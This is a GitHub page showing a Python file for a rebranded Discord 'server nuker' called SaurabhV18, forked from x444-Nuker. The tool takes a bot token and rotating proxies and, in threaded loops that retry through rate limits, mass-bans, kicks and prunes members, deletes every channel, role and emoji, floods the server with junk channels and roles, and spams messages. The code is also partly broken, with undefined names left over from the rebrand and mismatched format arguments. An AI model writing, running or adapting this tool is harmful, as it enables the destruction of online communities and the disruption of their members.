forked from notspeezy/x444-Nuker
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathSaurabhv18.py
433 lines (381 loc) · 26.9 KB
/
Saurabhv18.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
"""
SaurabhV18
"""
import threading, webbrowser, discord, random, httpx, json, time, os; from discord.ext import commands;from itertools import cycle
VERSION = '1.0.0'
__intents__ = discord.Intents.default()
__intents__.members = True
__proxies__, __client__, __config__, __threads__= cycle(open("proxies.txt", "r").read().splitlines()), commands.Bot(command_prefix="+", help_command=None, intents=__intents__), json.load(open("config.json", "r", encoding="utf-8")), 45
token = __config__["token"]
os.system("cls") if os.name == "nt" else os.system("clear")
SaurabhV18_art = """
{}███████╗ █████╗ ██╗ ██╗██████╗ █████╗ ██████╗ ██╗ ██╗ ██╗ ██╗ ██╗ █████╗
{}██╔════╝██╔══██╗██║ ██║██╔══██╗██╔══██╗██╔══██╗██║ ██║ ██║ ██║███║██╔══██╗
{}███████╗███████║██║ ██║██████╔╝███████║██████╔╝███████║ ██║ ██║╚██║╚█████╔╝
{}╚════██║██╔══██║██║ ██║██╔══██╗██╔══██║██╔══██╗██╔══██║ ╚██╗ ██╔╝ ██║██╔══██╗
{}███████║██║ ██║╚██████╔╝██║ ██║██║ ██║██████╔╝██║ ██║ ╚████╔╝ ██║╚█████╔╝
{}╚══════╝╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚═════╝ ╚═╝ ╚═╝ ╚═══╝ ╚═╝ ╚════╝
Rich Saurabh On Top!!
═══════════════════════════════════
═════════════════════════════════════════════
""".format("\x1b[38;5;17m", "\x1b[38;5;18m", "\x1b[38;5;19m", "\x1b[38;5;20m", "\x1b[38;5;21m", "\x1b[0m")
options = """
╚╦╗ ╔╦╝
╔═════╩══════════════════╦═════════════════════════╦══════════════════╩═════╗
╩ ({}1{}) {}< {}Ban Members ║ ({}5{}) {}< {}Create Roles ║ ({}9{}) {}< {}Spam Channels ╩
({}2{}) {}< {}Kick Members ║ ({}6{}) {}< {}Delete Channels ║ ({}10{}) {}< {}Check Updates
({}3{}) {}< {}Prune Members ║ ({}7{}) {}< {}Delete Roles ║ ({}11{}) {}< {}Credits
╦ ({}4{}) {}< {}Create Channels ║ ({}8{}) {}< {}Delete Emojis ║ ({}12{}) {}< {}Exit ╦
╚═════╦══════════════════╩═════════════════════════╩══════════════════╦═════╝
╔╩╝ ╚╩╗
""".format("\x1b[38;5;21m", "\x1b[0m", "\x1b[38;5;21m", "\x1b[0m", "\x1b[38;5;21m", "\x1b[0m", "\x1b[38;5;21m", "\x1b[0m", "\x1b[38;5;21m", "\x1b[0m", "\x1b[38;5;21m", "\x1b[0m",
"\x1b[38;5;21m", "\x1b[0m", "\x1b[38;5;21m", "\x1b[0m", "\x1b[38;5;21m", "\x1b[0m", "\x1b[38;5;21m", "\x1b[0m", "\x1b[38;5;21m", "\x1b[0m", "\x1b[38;5;21m", "\x1b[0m",
"\x1b[38;5;21m", "\x1b[0m", "\x1b[38;5;21m", "\x1b[0m", "\x1b[38;5;21m", "\x1b[0m", "\x1b[38;5;21m", "\x1b[0m", "\x1b[38;5;21m", "\x1b[0m", "\x1b[38;5;21m", "\x1b[0m",
"\x1b[38;5;21m", "\x1b[0m", "\x1b[38;5;21m", "\x1b[0m", "\x1b[38;5;21m", "\x1b[0m", "\x1b[38;5;21m", "\x1b[0m", "\x1b[38;5;21m", "\x1b[0m", "\x1b[38;5;21m", "\x1b[0m")
class SaurabhV18:
def __init__(self):
self.proxy = "http://" + next(__proxies__) if __config__["proxy"] == True else None
self.session = httpx.Client(proxies=self.proxy)
self.version = cycle(['v10', 'v9'])
self.banned = []
self.kicked = []
self.channels = []
self.roles = []
self.emojis = []
self.messages = []
def execute_ban(self, guildid: str, member: str, token: str):
payload = {
"delete_message_days": random.randint(0, 7)
}
while True:
response = self.session.put(f"https://discord.com/api/{next(self.version)}/guilds/{guildid}/bans/{member}", headers={"Authorization": f"Bot {token}"}, json=payload)
if response.status_code in [200, 201, 204]:
print("{}({}+{}) Banned {}{}".format("\x1b[0m", "\x1b[38;5;21m", "\x1b[0m", "\x1b[38;5;21m", member))
self.banned.append(member)
break
elif "retry_after" in response.text:
time.sleep(response.json()['retry_after'])
elif "Missing Permissions" in response.text:
print("{}({}!{}) Missing Permissions {}{}".format("\x1b[0m", "\x1b[38;5;208m", "\x1b[0m", "\x1b[38;5;208m", member))
break
elif "You are being blocked from accessing our API temporarily due to exceeding our rate limits frequently." in response.text:
print("{}({}!{}) You're being excluded from discord API {}{}".format("\x1b[0m", "\x1b[38;5;208m", "\x1b[0m"))
break
elif "Max number of bans for non-guild members have been exceeded." in response.text:
print("{}({}!{}) Max number of bans for non-guild members have been exceeded".format("\x1b[0m", "\x1b[38;5;208m", "\x1b[0m"))
break
else:
print("{}({}-{}) Failed to ban {}{}".format("\x1b[0m", "\x1b[31m", "\x1b[0m", "\x1b[31m", member))
break
def execute_kick(self, guildid: str, member: str, token: str):
while True:
response = self.session.delete(f"https://discord.com/api/{next(self.version)}/guilds/{guildid}/members/{member}", headers={"Authorization": f"Bot {token}"})
if response.status_code in [200, 201, 204]:
print("{}({}+{}) Kicked {}{}".format("\x1b[0m", "\x1b[38;5;21m", "\x1b[0m", "\x1b[38;5;21m", member))
self.kicked.append(member)
break
elif "retry_after" in response.text:
print("{}({}!{}) Ratelimited. Delayed {}{}{}s".format("\x1b[0m", "\x1b[38;5;208m", "\x1b[0m", "\x1b[38;5;208m", response.json()['retry_after'], "\x1b[0m"))
time.sleep(float(response.json()['retry_after']))
elif "Missing Permissions" in response.text:
print("{}({}!{}) Missing Permissions {}{}".format("\x1b[0m", "\x1b[38;5;208m", "\x1b[0m", "\x1b[38;5;208m", member))
break
elif "You are being blocked from accessing our API temporarily due to exceeding our rate limits frequently." in response.text:
print("{}({}!{}) You're being excluded from discord API {}{}".format("\x1b[0m", "\x1b[38;5;208m", "\x1b[0m"))
break
else:
print("{}({}-{}) Failed to kick {}{}".format("\x1b[0m", "\x1b[31m", "\x1b[0m", "\x1b[31m", member))
break
def execute_prune(self, guildid: str, days: int, token: str):
payload = {
"days": days
}
response = self.session.post(f"https://discord.com/api/v9/guilds/{guildid}/prune", headers={"Authorization": f"Bot {token}"}, json=payload)
if response.status_code == 200:
print("{}({}+{}) Pruned {}{}{} members".format("\x1b[0m", "\x1b[38;5;21m", "\x1b[0m", "\x1b[38;5;21m", response.json()['pruned'], "\x1b[0m"))
elif "Max number of prune requests has been reached. Try again later" in response.text:
print("{}({}!{}) Max number of prune reached. Try again in {}s".format("\x1b[0m", "\x1b[38;5;208m", "\x1b[0m", response.json()['retry_after']))
elif "You are being blocked from accessing our API temporarily due to exceeding our rate limits frequently." in response.text:
print("{}({}!{}) You're being temporarly excluded from discord API".format("\x1b[0m", "\x1b[38;5;208m", "\x1b[0m"))
else:
print("{}({}-{}) Failed to prune {}{}".format("\x1b[0m", "\x1b[31m", "\x1b[0m", "\x1b[31m", guildid))
def execute_crechannels(self, guildid: str, channelsname: str, type: int, token: str):
payload = {
"type": type,
"name": channelsname,
"permission_overwrites": []
}
channelsname = channelsname.replace(" ", "-")
while True:
response = self.session.post(f"https://discord.com/api/{next(self.version)}/guilds/{guildid}/channels", headers={"Authorization": f"Bot {token}"}, json=payload)
if response.status_code == 201:
print("{}({}+{}) Created {}#{}".format("\x1b[0m", "\x1b[38;5;21m", "\x1b[0m", "\x1b[38;5;21m", channelsname))
self.channels.append(1)
break
elif "retry_after" in response.text:
print("{}({}!{}) Ratelimited. Delayed {}{}{}s".format("\x1b[0m", "\x1b[38;5;208m", "\x1b[0m", "\x1b[38;5;208m", response.json()['retry_after'], "\x1b[0m"))
time.sleep(float(response.json()['retry_after']))
elif "Missing Permissions" in response.text:
print("{}({}!{}) Missing Permissions {}#{}".format("\x1b[0m", "\x1b[38;5;208m", "\x1b[0m", "\x1b[38;5;208m", channelsname))
break
elif "You are being blocked from accessing our API temporarily due to exceeding our rate limits frequently." in response.text:
print("{}({}!{}) You're being temporarly excluded from discord API".format("\x1b[0m", "\x1b[38;5;208m", "\x1b[0m"))
break
else:
print("{}({}-{}) Failed to create {}#{}".format("\x1b[0m", "\x1b[31m", "\x1b[0m", "\x1b[31m", channelsname))
break
def execute_creroles(self, guildid: str, rolesname: str, token: str):
colors = random.choice([0x0000FF, 0xFFFFFF, 0xFF0000, 0x00FF00, 0x0000FF, 0xFFFF00, 0x00FFFF, 0xFF00FF, 0xC0C0C0, 0x808080, 0x800000, 0x808000, 0x008000, 0x800080, 0x008080, 0x000080])
payload = {
"name": rolesname,
"color": colors
}
while True:
response = self.session.post(f"https://discord.com/api/{next(self.version)}/guilds/{guildid}/roles", headers={"Authorization": f"Bot {token}"}, json=payload)
if response.status_code == 200:
print("{}({}+{}) Created {}@{}".format("\x1b[0m", "\x1b[38;5;21m", "\x1b[0m", "\x1b[38;5;21m", rolesname))
self.roles.append(1)
break
elif "retry_after" in response.text:
print("{}({}!{}) Ratelimited. Delayed {}{}{}s".format("\x1b[0m", "\x1b[38;5;208m", "\x1b[0m", "\x1b[38;5;208m", response.json()['retry_after'], "\x1b[0m"))
time.sleep(float(response.json()['retry_after']))
elif "Missing Permissions" in response.text:
print("{}({}!{}) Missing Permissions {}@{}".format("\x1b[0m", "\x1b[38;5;208m", "\x1b[0m", "\x1b[38;5;208m", rolesname))
break
elif "You are being blocked from accessing our API temporarily due to exceeding our rate limits frequently." in response.text:
print("{}({}!{}) You're being temporarly excluded from discord API".format("\x1b[0m", "\x1b[38;5;208m", "\x1b[0m"))
break
else:
print("{}({}-{}) Failed to create {}@{}".format("\x1b[0m", "\x1b[31m", "\x1b[0m", "\x1b[31m", rolesname))
break
def execute_delchannels(self, channel: str, token: str):
while True:
response = self.session.delete(f"https://discord.com/api/{next(self.version)}/channels/{channel}", headers={"Authorization": f"Bot {token}"})
if response.status_code == 200:
print("{}({}+{}) Deleted {}{}".format("\x1b[0m", "\x1b[38;5;21m", "\x1b[0m", "\x1b[38;5;21m", channel))
self.channels.append(channel)
break
elif "retry_after" in response.text:
print("{}({}!{}) Ratelimited. Delayed {}{}{}s".format("\x1b[0m", "\x1b[38;5;208m", "\x1b[0m", "\x1b[38;5;208m", response.json()['retry_after'], "\x1b[0m"))
time.sleep(float(response.json()['retry_after']))
elif "Missing Permissions" in response.text:
print("{}({}!{}) Missing Permissions {}{}".format("\x1b[0m", "\x1b[38;5;208m", "\x1b[0m", "\x1b[38;5;208m", channel))
break
elif "You are being blocked from accessing our API temporarily due to exceeding our rate limits frequently." in response.text:
print("{}({}!{}) You're being temporarly excluded from discord API".format("\x1b[0m", "\x1b[38;5;208m", "\x1b[0m"))
break
else:
print("{}({}-{}) Failed to delete {}{}".format("\x1b[0m", "\x1b[31m", "\x1b[0m", "\x1b[31m", channel))
break
def execute_delroles(self, guildid: str, role: str, token: str):
while True:
response = self.session.delete(f"https://discord.com/api/{next(self.version)}/guilds/{guildid}/roles/{role}", headers={"Authorization": f"Bot {token}"})
if response.status_code == 204:
print("{}({}+{}) Deleted {}{}".format("\x1b[0m", "\x1b[38;5;21m", "\x1b[0m", "\x1b[38;5;21m", role))
self.roles.append(role)
break
elif "retry_after" in response.text:
print("{}({}!{}) Ratelimited. Delayed {}{}{}s".format("\x1b[0m", "\x1b[38;5;208m", "\x1b[0m", "\x1b[38;5;208m", response.json()['retry_after'], "\x1b[0m"))
time.sleep(float(response.json()['retry_after']))
elif "Missing Permissions" in response.text:
print("{}({}!{}) Missing Permissions {}{}".format("\x1b[0m", "\x1b[38;5;208m", "\x1b[0m", "\x1b[38;5;208m", role))
break
elif "You are being blocked from accessing our API temporarily due to exceeding our rate limits frequently." in response.text:
print("{}({}!{}) You're being temporarly excluded from discord API".format("\x1b[0m", "\x1b[38;5;208m", "\x1b[0m"))
break
else:
print("{}({}-{}) Failed to delete {}{}".format("\x1b[0m", "\x1b[31m", "\x1b[0m", "\x1b[31m", role))
break
def execute_delemojis(self, guildid: str, emoji: str, token: str):
while True:
response = self.session.delete(f"https://discord.com/api/{next(self.version)}/guilds/{guildid}/emojis/{emoji}", headers={"Authorization": f"Bot {token}"})
if response.status_code == 204:
print("{}({}+{}) Deleted {}{}".format("\x1b[0m", "\x1b[38;5;21m", "\x1b[0m", "\x1b[38;5;21m", emoji))
self.emojis.append(emoji)
break
elif "retry_after" in response.text:
print("{}({}!{}) Ratelimited. Delayed {}{}{}s".format("\x1b[0m", "\x1b[38;5;208m", "\x1b[0m", "\x1b[38;5;208m", response.json()['retry_after'], "\x1b[0m"))
time.sleep(float(response.json()['retry_after']))
elif "Missing Permissions" in response.text:
print("{}({}!{}) Missing Permissions {}{}".format("\x1b[0m", "\x1b[38;5;208m", "\x1b[0m", "\x1b[38;5;208m", emoji))
break
elif "You are being blocked from accessing our API temporarily due to exceeding our rate limits frequently." in response.text:
print("{}({}!{}) You're being temporarly excluded from discord API".format("\x1b[0m", "\x1b[38;5;208m", "\x1b[0m"))
break
else:
print("{}({}-{}) Failed to delete {}{}".format("\x1b[0m", "\x1b[31m", "\x1b[0m", "\x1b[31m", emoji))
break
def execute_massping(self, channel: str, content: str, token: str):
while True:
response = self.session.post(f"https://discord.com/api/{next(self.version)}/channels/{channel}/messages", headers={"Authorization": f"Bot {token}"}, json={"content": content})
if response.status_code == 200:
print("{}({}+{}) Spammed {}{}{} in {}{}".format("\x1b[0m", "\x1b[38;5;21m", "\x1b[0m", "\x1b[38;5;21m", content, "\x1b[0m", "\x1b[38;5;21m", channel))
self.messages.append(channel)
break
elif "retry_after" in response.text:
print("{}({}!{}) Ratelimited. Delayed {}{}{}s".format("\x1b[0m", "\x1b[38;5;208m", "\x1b[0m", "\x1b[38;5;208m", response.json()['retry_after'], "\x1b[0m"))
time.sleep(float(response.json()['retry_after']))
elif "Missing Permissions" in response.text:
print("{}({}!{}) Missing Permissions {}{}".format("\x1b[0m", "\x1b[38;5;208m", "\x1b[0m", "\x1b[38;5;208m", channel))
break
elif "You are being blocked from accessing our API temporarily due to exceeding our rate limits frequently." in response.text:
print("{}({}!{}) You're being temporarly excluded from discord API".format("\x1b[0m", "\x1b[38;5;208m", "\x1b[0m"))
break
else:
print("{}({}-{}) Failed to spam {}{}".format("\x1b[0m", "\x1b[31m", "\x1b[0m", "\x1b[31m", channel))
break
def menu(self):
os.system(f"cls & title Cj Saurabh Nuker ^| Authenticated as: {__client__.user.name}#{__client__.user.discriminator}")
print(x444_art + options + "\n")
ans = input("{}({}SaurabhV18{}) Option{}:{} ".format("\x1b[0m", "\x1b[38;5;21m", "\x1b[0m", "\x1b[38;5;21m", "\x1b[0m"))
if ans in ["1", "01"]:
scrape = input("{}({}SaurabhV18{}) Fetch IDs [Y/N]{}:{} ".format("\x1b[0m", "\x1b[38;5;21m", "\x1b[0m", "\x1b[38;5;21m", "\x1b[0m"))
if scrape.lower() == "y":
try:
guild = __client__.get_guild(int(guildid))
with open("fetched/members.txt", "w") as a:
for member in guild.members:
a.write("{}{}".format(member.id, "\n"))
except: pass
else:
pass
self.banned.clear()
members = open("fetched/members.txt", "r").read().splitlines()
for member in members:
t = threading.Thread(target=self.execute_ban, args=(guildid, member, token))
t.start()
while threading.active_count() >= __threads__:
t.join()
time.sleep(3)
print("{}({}SaurabhV18{}) Banned {}/{}".format("\x1b[0m", "\x1b[38;5;21m", "\x1b[0m", len(self.banned), len(members)))
time.sleep(1.5)
self.menu()
elif ans in ["2", "02"]:
self.kicked.clear()
members = open("fetched/members.txt", "r").read().splitlines()
for member in members:
t = threading.Thread(target=self.execute_kick, args=(guildid, member, token))
t.start()
while threading.active_count() >= __threads__:
t.join()
time.sleep(3)
print("{}({}SaurabhV18{}) Kicked {}/{}".format("\x1b[0m", "\x1b[38;5;21m", "\x1b[0m", len(self.kicked), len(members)))
time.sleep(1.5)
self.menu()
elif ans in ["3", "03"]:
days = int(input("{}({}SaurabhV18{}) Days{}:{} ".format("\x1b[0m", "\x1b[38;5;21m", "\x1b[0m", "\x1b[38;5;21m", "\x1b[0m")))
self.execute_prune(guildid, days, token)
time.sleep(1.5)
self.menu()
elif ans in ["4", "04"]:
type = input("{}({}SaurabhV18{}) Channels Type ['t', 'v']{}:{} ".format("\x1b[0m", "\x1b[38;5;21m", "\x1b[0m", "\x1b[38;5;21m", "\x1b[0m"))
type = 2 if type == "v" else 0
amount = int(input("{}({}x444{}) Amount{}:{} ".format("\x1b[0m", "\x1b[38;5;21m", "\x1b[0m", "\x1b[38;5;21m", "\x1b[0m")))
self.channels.clear()
for i in range(amount):
t = threading.Thread(target=self.execute_crechannels, args=(guildid, random.choice(__config__["nuke"]["channels_name"]), type, token))
t.start()
while threading.active_count() >= __threads__:
t.join()
time.sleep(3)
print("{}({}SaurabhV18{}) Created {}/{} channels".format("\x1b[0m", "\x1b[38;5;21m", "\x1b[0m", len(self.channels), amount))
time.sleep(1.5)
self.menu()
elif ans in ["5", "05"]:
amount = int(input("{}({}SuarabhV18{}) Amount{}:{} ".format("\x1b[0m", "\x1b[38;5;21m", "\x1b[0m", "\x1b[38;5;21m", "\x1b[0m")))
self.roles.clear()
for i in range(amount):
t = threading.Thread(target=self.execute_creroles, args=(guildid, random.choice(__config__["nuke"]["roles_name"]), token))
t.start()
while threading.active_count() >= __threads__:
t.join()
time.sleep(3)
print("{}({}SaurabhV18{}) Created {}/{} roles".format("\x1b[0m", "\x1b[38;5;21m", "\x1b[0m", len(self.roles), amount))
time.sleep(1.5)
self.menu()
elif ans in ["6", "06"]:
self.channels.clear()
channels = self.session.get(f"https://discord.com/api/v9/guilds/{guildid}/channels", headers={"Authorization": f"Bot {token}"}).json()
for channel in channels:
t = threading.Thread(target=self.execute_delchannels, args=(channel['id'], token))
t.start()
while threading.active_count() >= __threads__:
t.join()
time.sleep(3)
print("{}({}SaurabhV18{}) Deleted {}/{} channels".format("\x1b[0m", "\x1b[38;5;21m", "\x1b[0m", len(self.channels), len(channels)))
time.sleep(1.5)
self.menu()
elif ans in ["7", "07"]:
self.roles.clear()
roles = self.session.get(f"https://discord.com/api/v9/guilds/{guildid}/roles", headers={"Authorization": f"Bot {token}"}).json()
for role in roles:
t = threading.Thread(target=self.execute_delroles, args=(guildid, role['id'], token))
t.start()
while threading.active_count() >= __threads__:
t.join()
time.sleep(3)
print("{}({}SaurabhV18{}) Deleted {}/{} roles".format("\x1b[0m", "\x1b[38;5;21m", "\x1b[0m", len(self.roles), len(roles)))
time.sleep(1.5)
self.menu()
elif ans in ["8", "08"]:
self.emojis.clear()
emojis = self.session.get(f"https://discord.com/api/v9/guilds/{guildid}/emojis", headers={"Authorization": f"Bot {token}"}).json()
for emoji in emojis:
t = threading.Thread(target=self.execute_delemojis, args=(guildid, emoji['id'], token))
t.start()
while threading.active_count() >= __threads__:
t.join()
time.sleep(3)
print("{}({}SaurabhV18{}) Deleted {}/{} emojis".format("\x1b[0m", "\x1b[38;5;21m", "\x1b[0m", len(self.emojis), len(emojis)))
time.sleep(1.5)
self.menu()
elif ans in ["9", "09"]:
self.messages.clear(); self.channels.clear()
amount = int(input("{}({}SaurabhV18{}) Amount{}:{} ".format("\x1b[0m", "\x1b[38;5;21m", "\x1b[0m", "\x1b[38;5;21m", "\x1b[0m")))
channels = self.session.get(f"https://discord.com/api/v9/guilds/{guildid}/channels", headers={"Authorization": f"Bot {token}"}).json()
for channel in channels: self.channels.append(channel['id'])
channelz = cycle(self.channels)
for i in range(amount):
t = threading.Thread(target=self.execute_massping, args=(next(channelz), random.choice(__config__["nuke"]["messages_content"]), token))
t.start()
while threading.active_count() >= __threads__ - 15:
t.join()
time.sleep(3)
print("{}({}SaurabhV18{}) Spammed {}/{} messages".format("\x1b[0m", "\x1b[38;5;21m", "\x1b[0m", len(self.messages), amount))
time.sleep(1.5)
self.menu()
elif ans == "10":
try:
response = self.session.get("https://github.com/notspeezy/x444-Nuker/releases/latest")
check_version = response.headers.get('location').split('/')[7].split('v')[1]
if VERSION != check_version:
print("{}({}SaurabhV18{}) You're using an outdated version!".format("\x1b[0m", "\x1b[38;5;21m", "\x1b[0m"))
webbrowser.open(f"https://github.com/notspeezy/x444-Nuker/releases/tag/{check_version}")
else:
print("{}({}SaurabhV18{}) You're using the current version!".format("\x1b[0m", "\x1b[38;5;21m", "\x1b[0m"))
except:
print("{}({}SaurabhV18{}) Couldn't reach the releases!".format("\x1b[0m", "\x1b[38;5;21m", "\x1b[0m"))
time.sleep(1.5)
self.menu()
elif ans == "11":
print("-SaurabhV18 Nuker is a Fastest Discord Server Nuker which has been developed with heart by Rich Saurabh.8008. Press any key to return.")
input("")
self.menu()
elif ans == "12":
print("{}({}SaurabhV18{}) Thanks for using x444!".format("\x1b[0m", "\x1b[38;5;21m", "\x1b[0m"))
time.sleep(1.5)
os._exit(0)
@__client__.event
async def on_ready():
print("{}({}SaurabhV18{}) Authenticated as{}: {}{}".format("\x1b[0m", "\x1b[38;5;21m", "\x1b[0m", "\x1b[38;5;21m", "\x1b[0m", f"{__client__.user.name}#{__client__.user.discriminator}"))
time.sleep(1.5)
x444().menu()
if __name__ == "__main__":
try:
os.system("title Cj Saurabh Nuker ^| Authentication & mode con: cols=95 lines=25")
guildid = input("{}({}SaurabhV18{}) Guild ID{}:{} ".format("\x1b[0m", "\x1b[38;5;21m", "\x1b[0m", "\x1b[38;5;21m", "\x1b[0m"))
__client__.run(token, bot=True)
except Exception as e:
print("{}({}-{}) {}".format("\x1b[0m", "\x1b[31m", "\x1b[0m", e))
time.sleep(1.5)
os._exit(0)